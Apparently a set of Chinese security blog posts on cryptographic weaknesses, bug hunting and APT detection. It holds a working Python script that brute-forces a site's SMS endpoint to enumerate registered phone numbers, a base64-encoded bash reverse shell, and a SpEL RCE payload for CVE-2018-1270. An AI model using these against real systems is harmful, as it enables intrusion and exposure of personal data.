密码学的安全性浅析4
前言
本文是本系列的第四篇,由于侧重点是对密码学中的安全性问题进行分析,所以不会对密码学基础的核心概念进行阐述,如果阅读本系列文章时不明白所涉及的术语时请参考国内大学的推荐教材,如《密码学原理与实践》《深入浅出密码学》,如果只是感兴趣而并非要深入了解,只阅读《图解密码技术》也就够了。
Diffie-Hellman
迪菲-赫尔曼密钥交换/协商(英语:Diffie–Hellman key exchange,缩写为D-H) 是一种安全协议。它可以让双方在完全没有对方任何预先信息的条件下通过不安全信道创建起一个密钥。这个密钥可以在后续的通讯中作为对称密钥来加密通讯内容。
D-H函数
DH密钥协商协议的核心操作是DH函数,其涉及通信双方从Zp*群中随机选择两个私有值,记做a、b,通过a计算公共值A= g^a mod p,通过b计算
B= g^b mod p
然后双方将公共值与自己的私有值结合,这里的关键在于结合后的值是相同的,即
得到的g^ab称为共享秘密,将其传递给密钥派生函数KDF,以生成对称密钥。
这看起来非常简单,但是这只是表面的,事实上这并不容易
一方面,并不是任意素数p或者基数g都可以奏效,比如某些g会导致将共享秘密g^ab限制在一小部分范围内,但实际上我们希望它的可能取值范围与Zp*一样。
p应该满足(p-1)/2结果也是素数,这样才可以保证该群没有使DH更容易被攻破的更小子群。
D-H问题
使用DH计算共享秘密时,我们关心的不仅是DLP问题,更关注特定于DH的问题,分别是CDH和DDH。
CDH
CDH即computational Diffie-Hellman,计算DH问题,给定g^a和
g^b,但是不知道a或b时,
求出g^ab
这个问题的出发点是为了确保攻击者即使拿到了双方的公共值,也不知道共享秘密。
如果可以解决DLP,自然可以解决CDH;但是解决CDH,不一定能解决DLP,事实上可以解决CDH的最快方法是用NFS(numer field sieve,数域筛选法)求解DLP
DDH
DDH即decisional Diffie-Hellman,这个难度假设比CDH更强,如假设在给定公共值的2048比特情况下,攻击者可以计算共享秘密的前32比特,但是无法计算所有2048比特。此时虽然攻击者不知道完整的g^ab,但是它还是知道共享秘密的一部分信息,这有助于攻击者造成破坏。
为了确保攻击者无法得到关于
g^ab的任何信息,只需要将其与随机的群元素区分开即可,这种问题就称之为DDH。给定公共值和某个随机数c,在公共值和g中二选一(概率均为1/2),
DDH问题确定g^ab是否被选中。
如果DDH很难,那么CDH也会很难,就无法获得g^ab的任何信息;如果可以解决CDH,那么就可以解决DDH.DDH不如CDH难,但是DDH是密码学中的主要假设,也是被研究最多的一种。
共享秘密用作密钥
通信双方在完成DH会话交换时,会得到共享秘密g^ab,但是,我们要注意,这是作为派生会话密钥的输入,其本身并不是密钥!
我们知道密钥看起来应该是随机的,其本身每个比特为0、1的概率是相同的,但是g^ab做不到这一点,因为它不是随机字符串。这里容易混淆的一点是:随机的群元素与随机的比特字符串本质上是不一样的。
举个例子,设乘法群Z13*={1,2...12},使用g=2作为生成元,根据g^i可以扩展成所有
Z13*的值,如果g的指数是随机的,那么会获得
Z13*的随机元素,但是将对应元素编码为4比特字符串时就不是随机的了
此时的随机的概念要求所有比特位为0或1的概率相同
但是在Z13*中,有7个值的最高比特位为0,只有5个值的最高比特位为1,所以这个比特位为0的概率为7/12,约为0.58,而不是0.5.
不安全的群参数
CVE-2016-0701是OpenSSL的一个漏洞,其利用的就是不安全的D-H参数,当用户使用不安全的DH群参数(即不安全的素数p)时,会引发风险。
给定素数p,所有DH操作都在其对应的乘法群Zp中发生,Zp包括小的子群.问题在于,在加密协议中如果较大的群中存在较小的子群是非常危险的,因为此时会将共享秘密限制在较小的可能值集合内。更进一步地,攻击者可以构造DH指数x,当其与受害者的公钥g^y结合时,会暴露有关私钥y的信息,从而可能让其完全泄露。
椭圆曲线
曲线选择
椭圆曲线的安全性在于它使用的群的阶(即曲线的点数),加法公式以及其参数的选取原因。
椭圆曲线有很多,但不是所有的都适用于加密,在选择时要仔细选择曲线方程y^2=
x^3+ax+b中的系数a和b,否则得到的曲线可能是不安全的,一般而言,有如下要求:
1.群的阶不能等于一些小数的乘积,否则会很容易求解ECDLP
2.由于当Q=P时,加法公式与其他情况不同,所以做加法时需要权衡,当攻击者可以区分相同点之间的加法和不同点之间的加法时,可能会泄露关键信息。如果曲线对所有点的加法都使用同一个公式,那么它可能是安全的
3.如果曲线的设计者不解释选择参数a,b的原因,那么曲线可能是不安全的,因为我们并不知道a,b是否是较弱的参数。
常用的曲线有NIST曲线以及Curve25519
NIST曲线
NIST的5条曲线工作在模素数上,称为素数曲线,这是最常见的,其中最常用的是P-256,这是对256比特数
进行模运算的曲线,其对应的方程为
但是NIST曲线的系数选择是由NSA指定的,他们并没有说选b的理由,所以这可能是不安全的。
Curve25519
这是由Daniel J.Bernestein设计的,是目前最高水平的 Diffie-Hellman函数,适用于广泛的场景。Curve25519是一个椭圆曲线提供128位安全性,设计用于椭圆曲线Diffie-Hellman(ECDH)密钥协商方案。它是最快的ECC曲线之一。给定一个用户的32字节密钥,curve25519计算该用户的32字节公钥。给定该用户的32字节密钥和另一个用户的32字节公钥,curve25519计算一个32字节的共享密钥提供给这两个用户使用。然后可以使用这个秘密对两个用户进行身份验证和信息加密。其方程形式为
其中486662是满足作者设定的安全准则的最小整数。
其应用十分广泛,包括Chrome,OpenSSH等。
随机性差
与传统的Diffie-Hellman比起来,椭圆曲线使用的参数更多,更容易受到参数误用的风险,也就更容易受到攻击。
我们知道在ECDSA的签名过程中求s=(h+rd)/k mod n时,使用的k是秘密随机的,所以由此产生的签名也是随机的。
如果相同的k被重用去对第二个消息进行签名,那么攻击者可以通过生成的两个值s1=(h1+rd)/k,s2=(h2+rd)/k,得到s1-s2=(h1-h2)/k,从而有k=(h1-h2)/(s1-s2),当k已知时,通过下式可以恢复私钥d
无效曲线攻击
根据椭圆曲线的特点,如果无法验证输入点,那么ECDH就无法正常工作,因为给出点P+Q的坐标的加法公式中没有涉及曲线的系数b,加法公式只依赖于点P和点Q的坐标和系数a,这会导致什么问题呢?
对两个点做加法时,可能其中一个点不在正确的曲线上,即可能加的是另一个只有系数b不同的曲线上的点,这样的话,加法不是在曲线上进行的,攻击者由此就可以发动攻击。
举个例子,设Alice和Bob正在进行ECDH,并在曲线和基点G上达成一致。Bob将其公钥dBG发送给Alice,但是Alice不在约定的曲线上发送自己的公钥dAG,而是发送了另一条曲线上的一个点(而这条曲线非常如,并且对于Alice选择的点P,求解ECDLP很容易,换句话说,Alice选择了一个阶数很低的点,其有一个较小的k,是的kP=O)。而Bob并不知情,通过该公钥计算共享秘密dBP,对他进行哈希,并使用得到的密钥进行加密,并将其发送给Alice。但是,Bob在计算dBP时,不知不觉中计算了较弱的曲线,由于P的阶较低,于是P点落在原本选择的高阶的群的一个小的子群中,导致dBP也在这个小
一个典型的例子是CVE-2019-9836,研究人员发现SEV椭圆曲线(ECC)实现容易受到无效曲线攻击。在启动命令中,攻击者可以发送不在官方NIST曲线上的小顺序ECC点,并迫使SEV固件将小顺序点乘以固件的专用DH标量。另外这篇学术论文也可供参考《Practical Invalid Curve Attacks on TLS-ECDH》
后量子密码学
量子加速
当一个问题用量子计算机比用经典计算机能更快求解时 ,就称之为量子加速。比如在经典计算机中,要在无序列表中找到某个索引,平均需要n/2次操作。但是存在一种量子算法,只需要√n次操作即可,这比n/2小了几个数量级,比如n=1000000,那么n/2=500000,√n=1000。
我们一般使用时间复杂度来量化算法之间的差异,其用O()符号表示,以上面这个例子为例,经典算法的量级为O(n),而量子算法的运行时间在O(√n)量级,它们之间的差异是平方指数,我们称之为二次加速。
事实上,量级计算还可以实现指数加速,即一个任务在经典计算机上需要指数级时间,如O(2^n),而在量子计算机上只需要多项式复杂度即可,即O(n^k)。因为在密码学中,我们通常把指数时间与不可能联系起来,而多项式时间意味着可实现,所以指数加速对密码学带来的冲击是非常大的。
指数加速的典型代表就是Simon问题:
给定一个方程:
如果使用经典计算机,求解该问题本质可以归结为寻找碰撞,需要求f进行2^(n/2)次查询
而如果使用量子计算机,通过n次查询即可,对应的量子算法电路如下
实际上,Simon问题的指数加速只有在非常特定的情况下才能应用于对称密码。我们再来看看更实际的情况
Shor算法
Shor算法作为一种量子算法,可以在求解因式分解、离散对手、椭圆曲线离散对数等问题时实现指数加速,这意味着RSA,D-H、椭圆曲线密码等机制都会受到影响。Shor算法中的量子部分如下图所示
Shor算法实际上解决的问题比因式分解等问题更普遍:如果f是周期函数,即存在f(x+a)=f(x),其中a是周期,则Shor算法可以有效找到周期a。这种高效找到周期的能力对于密码学而言非常重要,可以用其攻击公钥密码。我们来看看Shor怎么解决因式分解和离散对数问题,它们分别对应着RSA和Diffie-Hellman背后的数学难题
因式分解
设要分解大数N=pq
如果可以计算出a^x mod N的周期就能很容易对N进行因式分解:
选择一个小于N的随机数a,然后向Shor算法询问函数f(x)=a^x mod N的周期,如果找到周期,那么就有
即
这意味着,要么
或者
换句话说,a^ω -1是N的倍数,即存在某个数k,使得下式成立
这里的关键在于a^(ω-1)可以很容易分解为两项的乘积
那么就可以计算出a^ω/2 -1与N的最大公约数,并检查是否已经得到N的一个非平凡因数,如果不是,则对另一个值a^ω/2+1做相同运算,尝试几次后,就可以得到N的因数,此时就可以从RSA的公钥中恢复私钥,拿到私钥后就可以解密消息、伪造签名了。
我们来分析下复杂度。对N进行因式分解的经典算法的时间复杂度是n的指数级别,n是N的比特长;而Shor算法在n的多项式时间O(n^2(log n)(log log n))内即可完成。下图是经典大数分解和Shor算法的复杂度对比
离散对数
离散对数的问题是通过y = g^x mod p来寻找x,利用Shor算法快速找到周期,从而进行求解。
设函数
要找到周期ω和ω‘,满足
f(a+w,b+w')=f(a,b)
通过上式可以推出
使用g^x代替y,可以得到
这等价于
所以可以得出x=-w/w'
算法复杂度为O(n^2(log n)(log log n)),其中n是p的比特长度
Grover算法
除了Shor算法之外,另一个经典的量子加速就是以√n复杂度搜索n个元素的能力(在经典算法中,其复杂度为O(n)),这种加速可以通过Grover算法实现,于1996年由计算机科学家洛夫·格罗弗提出,Grover算法的量子电路表示如下。
简单起见,我们可以把Grover算法当做从n个可能的值中找到满足f(x)=1中的x的一种方法,其中f满足:f输出为0或1,对于大部分输入都会输出0。如果有m个x值满足f(x)=1,那么Grover算法可以在O(√n/m)时间内找到解
把f放到密码学的场景下,设f(x)=1当且仅当x等于加密函数E(K,P)=C的未知密钥K。如果E是AES的话,找x相当于就是找到密钥,如果使用Grover算法,那么时间复杂度为2^64量级,
而使用经典计算机则是2^128量级。
此外,Grover算法还可以用于哈希函数的原像攻击,其通过2^(n/2)量级运算就可以找到n比特哈希函数的原像。
有关的具体理论分析可以阅读原始论文《A fast quantum mechanical algorithm for database search》。
后量子密码算法
后量子密码是指不会被量子计算机攻破的密码,这也就意味着这些算法不能依赖于会被Shor算法等解决的难题。目前主要的类型有四种:基于编码的,基于格的,基于多变量的,基于哈希的。在NIST PQC比赛第三轮决赛时的算法按照类别分组可以表示如下。
基于哈希的签名方案的安全性来源于Hash函数的安全性, 典型方案为默克尔(Merkle)签名方案, 由一次性签名方案OTS (One Time Signature)演变而来的, 并结合了Merkle的哈希树认证机制, 共同构造出一个完全的二叉树来实现数字签名。哈希树的根是公钥, 一次性的认证私钥是树中的叶子节点。
基于编码理论构造的公钥体制, 其理论基础是解码问题的困难性, 换句话说就是在已知生成矩阵的情况下, 在码空间寻找一个码字与已知码的Hamming距离最短。如果已知码为0则问题就是最小权重问题。它的任意线性码的译码问题是NP完全问题。
基于格的公钥密码体制是在大维数的格上, 基于最短向量问题SVP (Shortest Vector Problem)和最近向量问题CVP (Closest Vector Problem)等数学难题而构造的公钥密码体制。SVP问题是指在大维数格中寻找长度最短的非零向量, 而CVP是指在大维数格中寻找和固定向量距离最近的向量, 这两个问题都是NP难问题。
基于多变量的算法使用有限域上具有多个变量的二次多项式组构造加密、签名、密钥交换等算法。它的安全性来源于求解有限域上随机生成的多变量非线性多项式方程组。该问题被证明为非确定性多项式时间困难。目前没有已知的经典和量子算法可以快速求解有限域上的多变量方程组。
它们横向的比较分析可以总结如下
如果对后量子密码学有兴趣,可以进一步参考《The Survey of Post-quantum Cryptography Hardware Implementation 》等文献。
参考
1.https://qrunes-tutorial.readthedocs.io/en/latest/chapters/algorithms/shor_Algorithm.html
2.https://en.wikipedia.org/wiki/Shor%27s_algorithm
3.https://web.archive.org/web/20190702011957/https://seclists.org/fulldisclosure/2019/Jun/46
4.https://csrc.nist.gov/Projects/elliptic-curve-cryptography
5.https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0701
6.https://en.wikipedia.org/wiki/Computational_Diffie%E2%80%93Hellman_assumption
7.https://en.wikipedia.org/wiki/Decisional_Diffie%E2%80%93Hellman_assumption
https://zhuanlan.zhihu.com/p/255171562
9.《Handbook of Elliptic and Hyperelliptic Curve Cryptography》
10.《Quantum Computing and Quantum Information》
11.https://arxiv.org/abs/quant-ph/9605043
12.https://docs.microsoft.com/zh-cn/azure/quantum/concepts-grovers
13.《Serious Cryptography》
14.The Survey of Post-quantum Cryptography Hardware Implementation
15.《Elliptic Curve Cryptography in Practice》
16.https://link.springer.com/chapter/10.1007/978-3-319-24174-6_21
挖洞实战之信息泄露与前端加密
前言
本文并非密码向,不会对算法过程/代码逻辑进行具体阐述,因为这没有意义,实战的时候肯定是具体问题具体分析,所以了解个大致流程就行。
在挖洞过程中,很容易找到一些登录/忘记密码是手机验证码验证的站,有些站对发送验证码这一环节并未做太多的限制,理论上可以借助这个漏洞进行爆破,从而得出数据库内所有已注册手机号,这也算一种信息泄露。这种洞十分好挖,对技术要求不高,很适合SRC入门!
如果站点在请求的时候存在前端加密,大概都是常规的AES或RSA(比如以前的京东/B站)。所以写篇文章,整理下思路。
寻源
前几天挖洞的时候就看到个发送验证码的
先跑一百个请求,对发包没有做什么限制,说明有门!
但问题来了,请求体是这样的,明显进行了前端加密,要想爆破,还得先找出加密逻辑。
打开F12,发现控制台在输出东西,
再看资源文件,chunk文件加上index,那直接去找index.js文件即可。
然后就是要找到具体位置了,c0ny1表哥给出了一些好办法,详情见https://gv7.me/articles/2018/fast-locate-the-front-end-encryption-method/
可惜在这个站上不怎么好使,只能慢慢找了。
一般前端加密都是用JSEncrypt库的,所以可以试试搜一些jsencrypt相关的方法名,如setPublicKey、encrypt等
若压缩过的代码看得太累,可以试试用http://jsnice.org/美化下。
不要手撕js,会变得不幸。
首先打开F12,点开源代码,点个js文件,之后再点下左下角的美化按钮
代码就变得好看多了
尝试性的搜了下encrypt,位置大概就被我找到了。
这里有很多个函数,如encodeRSA、decodeRSA、getKeyRSADefault、encodeAES、decodeAES、getKeyAES、signature这种函数名,可以说是再明显不过的提示了。
分析
经过不眠不休的折磨,我逐渐理解了一切。
0.DEMO
先了解一下JSEncrypt库,十分简单
import JSEncrypt from 'jsencrypt'
//加密
var encryptor = new JSEncrypt()
var pubKey = '-----BEGIN PUBLIC KEY-----公钥-----END PUBLIC KEY-----'
encryptor.setPublicKey(pubKey)//设置公钥
var rsaPassWord = encryptor.encrypt('要加密的内容')
//解密
var decrypt = new JSEncrypt()
var priKey = '-----BEGIN RSA PRIVATE KEY-----私钥-----END RSA PRIVATE KEY----'
decrypt.setPrivateKey(priKey)//设置秘钥
var uncrypted = decrypt.decrypt("要解密的内容")//解密之前拿公钥加密的内容
1.RSA
首先在疑似RSA加密的位置的结尾下个断点,
为什么要在结尾?大概思路是:不去关心这个函数的具体逻辑,因为太费劲;由结果推过程,直接看代码运行结束后那些参数以及返回值,以此结合所学知识/经验去推断这个函数的作用。
我们不是来做密码题的,我们只是来挖洞的。
然后会发现,右边有一大堆参数。
好,再看encodeRSA函数,已知n为0,该函数有用的部分就变成这样了
而s["JSEncrypt"]很明显,是JSEncrypt库的JSEncrypt对象,那将代码整理一下就是:
function() {
o = new JSEncrypt();
o.setPublicKey(a);
return o.encrypt(t)
}
看,其实就是普通的RSA加密!
而且RSA公钥也给了,就是参数a!
然后加密字符串参数t,其值为PHVDHENXNREOEVON。这个值是网页在加载的时候就执行getKeyAES函数得出的结果。
在F12的控制台中执行一下,能够输出相似的结果。
JSEncrypt的默认RSA加密机制是RSAES-PKCS1-V1_5,而且还会进行base64编码。
扔到CyberChef先放着,待会有用。
加密完了,该尝试解密了。解密需要私钥。一般前端加密,公钥都会直接放到JS里,如果需要解密,那私钥也可能放这。
随便看了下,公钥和私钥就在下面,比较了下这个公钥和之前断点跑出的公钥也对的上。
这样,就可以解密了。
2.AES
接下来就是AES,同样的,下个断点看结果。
能够发现,参数e是输入的值,参数t的值和之前那个值一模一样,同时也是需要加密的字符串。
而且AES相关参数也给出了:
初始向量:1234567812345678,CBC模式,zeropadding填充。
AES的话,CyberChef没有padding相关选项,运算结果末位有所不同,所以用另一个表哥写的工具:https://github.com/Leon406/ToolsFx
解码的话也是一样,毕竟是对称加密。
3.SHA-256
SHA-2,名称来自于安全散列算法2(Secure Hash Algorithm 2)的缩写,一种密码散列函数算法标准,属于SHA算法之一,是SHA-1的后继者。其下又可再分为六个不同的算法标准,包括了:SHA-224、SHA-256、SHA-384、SHA-512、SHA-512/224、SHA-512/256
这里就是最后的波纹了,也是最复杂的地方。
还是一样的思路,但由于输入的参数不好猜,于是我在同一行加了好多个断点去看参数变化,这是一个非常好滴技巧!如下图所示,每个蓝色三角形就是断点。
在这能发现,这段代码的意思就是将e组合起来,键值对加等号且再用逗号相连变成字符串n。
之后又将字符串n进行了相关处理,去掉逗号空格啊,加上括号啊,最后输出格式如下:
{clientId=P_AIAS_ROS, encodeKey=GqdPQJptPlZctYZ+tEBo0MDTD7TntMDsrN3ATv5SC/WScxyhpYu/WoQsI0u42eDphmlhuHYWA6rPbWlcDYfyrHN8HWrrzHe+X7aiQh9Hnb1iR//I3abF4+Td641b1SeeYdU3aloc3ScaS8+CbVARKiM9g27R8CKk8Dbekb6lMEk=, requestData=Cy8UWBCz0dwJUBQ1u5BJr1jxicrnJ6YnrwchucXDanOVdV8Pp3rn1Uq35FB3pR7I, requestId=164740
好,接下来来验证一下
这是返回值89a6716fb3958c180837569a4a50a093a2bfa0ab6763a3b439a05b78e80d38f9
输出结果对的上,说明没错:
看着下图的请求体,最后总结一下。
1.在网页加载的时候先获取一个长度16的AES KEY,然后对这个AES KEY进行RSA+Base64加密,结果为encodeKey,
2.将{"phone":"13888888888","smsCode":""}这个格式的字符串,根据AES KEY进行AES+Base64加密,结果为requestData
3.clientId、requestId、timestamp不影响。这三个参数并未参与密码运算,可以任意更改。
4.将所有参数融合进行SHA256加密来签名。
爆破
分析完毕,那么接下来就可以开始爆破了。
接下来有两种做法:
1.写Python代码。因为思路以及理清且加密逻辑简单,可以直接手搓。
2.写JavaScript代码,配合c0ny1表哥的插件https://github.com/c0ny1/jsEncrypter。
在这里我选择1,具体代码如下:
import hashlib
import urllib3
import requests
import base64
from Crypto.Cipher import AES
urllib3.disable_warnings()
# aes的key和初始向量
key = 'PHVDHENXNREOEVON'
vi = '1234567812345678'
url = ""
headers = {"Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"98\", \"Google Chrome\";v=\"98\"",
"Accept": "application/json, text/plain, */*", "Content-Type": "application/json;charset=UTF-8",
"Sec-Ch-Ua-Mobile": "?0",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36",
"Token": "undefined", "Sec-Ch-Ua-Platform": "\"Windows\"",
"Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
def AES_Encrypt(data):
global key
global vi
pad = lambda s: s + (16 - len(s) % 16) * chr(0)
data = pad(data)
# 字符串补位
cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
encryptedbytes = cipher.encrypt(data.encode('utf8'))
# 加密后得到的是bytes类型的数据
encodestrs = base64.b64encode(encryptedbytes)
# 使用Base64进行编码,返回byte字符串
enctext = encodestrs.decode('utf8')
# 对byte字符串按utf-8进行解码
return enctext
def AES_Decrypt(data):
global key
global vi
data = data.encode('utf8')
encodebytes = base64.decodebytes(data)
# 将加密数据转换位bytes类型数据
cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
text_decrypted = cipher.decrypt(encodebytes)
text_decrypted = text_decrypted.rstrip(b'\0')
# 去补位
text_decrypted = text_decrypted.decode('utf8')
return text_decrypted
def sha256(text):
return hashlib.sha256(text.encode()).hexdigest()
phone_list = []
with open('test-phone.txt', 'r', encoding='utf8') as f:
for i in f:
phone_list.append(i.strip())
for i in phone_list:
requestsData = AES_Encrypt('{"phone":"%s","smsCode":""}' % i)
encodeKey = "lFd5OEc6BEDbh/KA/JiYNOG1xoQY3GgwS8HAjWAVUt19zxXEzjvtice8EZapgHY0HqyEUaZT6lLFTXHfmJ0qXLyPLVzf01yQ0UMIWYQOHPyDygm4JXW/7OBO1dpb3uTjo0MF0YO0U3+LF+LfNHvbqByeXgj1vmswlrNSQMmRgmw="
sign_exp = '{clientId=1, encodeKey=%s, requestData=%s, requestId=1, secret=test, timestamp=1}' % (
encodeKey, requestsData)
sign = sha256(sign_exp)
json = {"clientId": "1",
"encodeKey": encodeKey,
"requestData": requestsData, "requestId": "1",
"sign": sign, "timestamp": "1"}
res = requests.post(url, headers=headers, json=json, verify=False)
try:
result = AES_Decrypt(res.text.strip())
if '该手机号未查询到用户' in result:
print("未注册" + i)
else:
print("查询到了:" + i)
except Exception as e:
print(e)
print(res.text)
exit()
代码中我保持encodeKey不变,这样意味着AES KEY不变,爆破代码就可以不用写RSA相关了。
因为返回的值长这样,也是一个AES加密,所以写了个AES_Decrypt函数用于解密返回包。
这种爆破手机号的洞我也尝试去投了两个到CNVD,一个归档一个驳回,打个信息泄露擦边球着实难以界定。
记一次曲折的CVE-2018-1270复现分析
前言
前两天接到朋友对某个授权目标的漏扫结果,也算是初次接触到这个漏洞,就想着顺手分析一下复现一下,因为分析这个漏洞的文章也比较少,所以刚开始比较迷,进度也比较慢。
漏洞复现
使用vulhub搭建环境,下载vulhub
git clone https://github.com/vulhub/vulhub.git
spring目录下有docker镜像直接启起来
sudo docker-compose up -d
访问8080端口即可查看
环境搭建ok,其实这里使用构造的payload不知道为什么不可以,稍后尝试,先使用exp去执行,在环境中刚好有exp,我们只需要修改目标ip
修改执行的命令
执行EXP
进入docker容器查看是否成功生成数据
ocker exec -it 1f699e14e /bin/bash
验证EXP成功利用,这里尝试一下反弹shell,在另一台终端监听一个端口
nc -lvp 9999
修改EXP
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMTQuMjUxLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}
得到容器的shell
由于在线编码的平台不能使用,所以需要自己做一下base64的编码然后再解码,但是这里为什么直接反弹的shell不能够执行呢?
是因为管道符、输入输出重定向,只有在bash环境下才能用。由于项目环境为Java环境不支持管道符、输入输出重定向等。重定向和管道符的使用方式在正在启动的进程的中没有意义。例如ls > 1.txt 在shell中执行为将当前目录的列表输出到命名为 1.txt 。但是在 exec() 函数的中,该命令为解释为获取 > 和 1.txt 目录的列表。
下载源码
wget https://github.com/spring-guides/gs-messaging-stomp-websocket.git
新建项目导入pom.xml文件搭建环境,配置配置文件
运行本地已搭建
http://127.0.0.1:8080/
本地搭建目的是方便调试。
修改代码位置
src->main->resources->static->app.js
修改connect方法
function connect() {
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
},header);
});
}
保存后重新运行,Websocket连接,send发送任意信息即可触发calc.exe
分析
本地windows的触发条件更能清楚的理解,exec中代码执行的条件是由于建立socket通信之后发送信息的时候触发的,这里通过下断点来调试
首先先了解几个概念,没有java框架开发经验的话确实很让人头疼,SpEL表达式,是Spring表达式的简写,能够以一种强大而简洁的方式将值装配到Bean属性和构造器参数中,在这个过程中所使用的表达式会在运行时计算得到值。简单理解就是利用简单的表达形式来实现操作。
SpEL支持如下表达式:
基本表达式:字面量表达式、关系,逻辑与算数运算表达式、字符串连接及截取表达式、三目运算及Elivis表达式、正则表达式、括号优先级表达式;
类相关表达式:类类型表达式、类实例化、instanceof表达式、变量定义及引用、赋值表达式、自定义函数、对象属性存取及安全导航表达式、对象方法调用、Bean引用;
集合相关表达式:内联List、内联数组、集合,字典访问、列表,字典,数组修改、集合投影、集合选择;不支持多维内联数组初始化;不支持内联字典定义;
其他表达式:模板表达式。
STOMP协议
STOMP是一个简单的可互操作的基于帧的协议, 作用于中间服务器在客户端之间进行异步消息传递,STOMP协议基于TCP协议,类似于HTTP协议,使用了以下命令:
CONNECT
SEND
SUBSCRIBE
UNSUBSCRIBE
BEGIN
COMMIT
ABORT
ACK
NACK
DISCONNECT
Ctrl+N
根据披露的漏洞位置,直接搜索问题类DefaultSubscriptionRegistry
在Protected属性addSubscriptionInternal方法中,定义了selectorHeaderInUse的属性为true
95行的时候把四个参数,sessinId,subsId,destination(订阅地址("/topic/greetings")以及expression添加进subscriptionRegistry属性中。
app.js修改的代码位置为
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
private属性中的filterSubscriptions方法在什么时候会触发呢?下断点调试会发现,在send发送信息的时候会传入message参数,这个时候就会调用前端传入的selector构造的内容即SpEL表达式的内容,从第二种的复现方式来看就是这样的,但是在调试的时候正常的利用是首先触发
118行调用findSubscriptionsInternal函数
ctrl+N向上查找函数
在AbstractSubscriptionRegistry类中找到了在满足else的时候调用了findSubscriptionsInternal函数,可能在这里也许有师傅有点困惑,在这里我们需要明白的是参数destination(订阅地址)和参数message(含有SpEL表达式即payload)的内容。
但是这里有个疑问,那么哪里利用到了STOMP协议的内容呢?
上文提到了STOMP协议的命令,里面涉及到的SUBSCRIBE命令,在SUBSCRIBE命令下selector头值会作为表达式存储,在实现addSubscriptionInternal方法的方法生成sessionID的时候表达式已经实现了存储。
这个时候就很明显了,seesionid的生成就涉及到了websocket实现客户端和服务器之间的交互
到这里分析就结束了,但是函数调用以及漏洞触发的原因已经分析的比较清楚了。
小结
Java的东西忘记的差不多了,IDEA的快捷键都给忘了,突然分析起来很头大,可参考的内容也比较少,走的坑也比较多吧,有问题的地方欢迎师傅们指正。
参考文章
https://mp.weixin.qq.com/s/9ZHopkDK8aVzFPrSOEgOVghttps://mp.weixin.qq.com/s/K56p8PkyrxmsZ1holFbh2Qhttps://www.jianshu.com/p/ae3922db1f70
从kill-chain的角度检测APT攻击
前言
最近一直在考虑如何结合kill chain检测APT攻击。出发点是因为尽管APT是一种特殊、高级攻击手段,但是它还是会具有攻击的common feature,只要可以把握住共同特征,就能进行检测。而kill chain就是个非常好的common feature描述。
在预研期间看到了一些觉得比较好的工作,这里和各位师傅一起分享下。如题所述,这篇文章是介绍如何如kill-chain的角度检测APT攻击的一个方案,其特点解决了三个痛点:1.在于针对大数据量的问题引入Pearson相关检验来减少处理数据量;2,使用基于贝叶斯算法分类的优先级选择方法对训练数据进行选择,从而显著降低训练时间;3.利用层次分析法,对不同的警报进行分类,并确定各参数之间的相关性,最终提高所有攻击数据类的检测率。
kill-chain模型
kill-chain模型各位师傅应该都比较熟悉了,不过为了方便与后文的APT检测对应起来,我们这里还是简单梳理下。
kill-chain模型有7个阶段:(1) Reconnaissance, (2) Weaponization, (3) Deliver, (4) Exploitation, (5) Installation, (6) Command and Control (7) Actions on objectives
这7个连续的步骤为攻击者提供了行动TTP(tactic,technique和procedure)
事实上,kill-chain模型不仅可以给攻击者提供参考,也能给防御者提供指引,从预防、检测、分析每一步骤都有章可循。下面根据个人经验简单回顾一下。
Reconnaissance
第一阶段侦查的主要目标就是收集目标的信息,这一步说简单也简单,说难也难,相信做渗透的师傅们都深有体会。
Weaponization
第二阶段Weaponization,即武器化,其目标是创建一个可以交付攻击的恶意payload,这里的payload可以分为两种类型:
1.不需要与攻击者通信的payload,比如病毒、蠕虫等
2.需要与攻击者通信的payload,比如带有C&C功能的恶意软件
其实关于这一阶段的产物我们更熟悉的名词应该叫做RAT(remote access Trojan),即远控木马
RAT需要客户端和负责下发命令的服务器。客户端接收实际恶意payload,并被配置为能够与C2服务器通信,服务器位于网络上,由攻击者控制。
比如在Reconnaissance阶段,攻击者注意到电子邮件系统不允许发送和接收exe文件,但允许发送pdf文件。另一方面,攻击者注意到,教授经常通过电子邮件收到并打开学生的PDF文件。因此,攻击者可以创建一个能够与C2服务器通信的RAT文件,并将该RAT文件嵌入到一个伪装为个人简历(比如要读研的前来套磁的学生)的PDF文件中,然后将其以附件的形式发给教授。
Deliver
payload在上一阶段被开发完成后就需要通过各种途径投递出去,这里可以通过社会工程学的方法欺骗受害者进行交互,或者利用协议、软件的缺陷自动投递。在这一阶段最重要的就是确保投递时的隐蔽性,非交互就能投递的话自然是最好的,可这也是最难的,所以在网上流传很广的那个报价表上'Zero-interaction'的漏洞价格一骑绝尘。
Exploitation
在利用阶段,需要确保其拥有必要的权限以在目标平台上运行,比如投递的是elf文件,则肯定是不能在windows平台运行的;而且payload不能被检测出来,否则kill-chain的链条到这里就断了。
这一步容易和下一步混淆,这一步是利用,下一步才是安装。举个简单的例子,本来是没有权限安装某个app的,但是同个exploition这个阶段实现了提权、逃逸等操作,所以才能保证下一步installation的进行。
Installation
这一阶段并不是必须,比如那些可执行文件或者以代码注入实现的攻击。
如果涉及到这个阶段的话,攻击者就需要在deliver阶段将dropper或者downloader放置在目标计算机上。这一步的关键不在于漏洞利用,而是在于持久化,能够在受害者主机上存活下来。
Command and Control
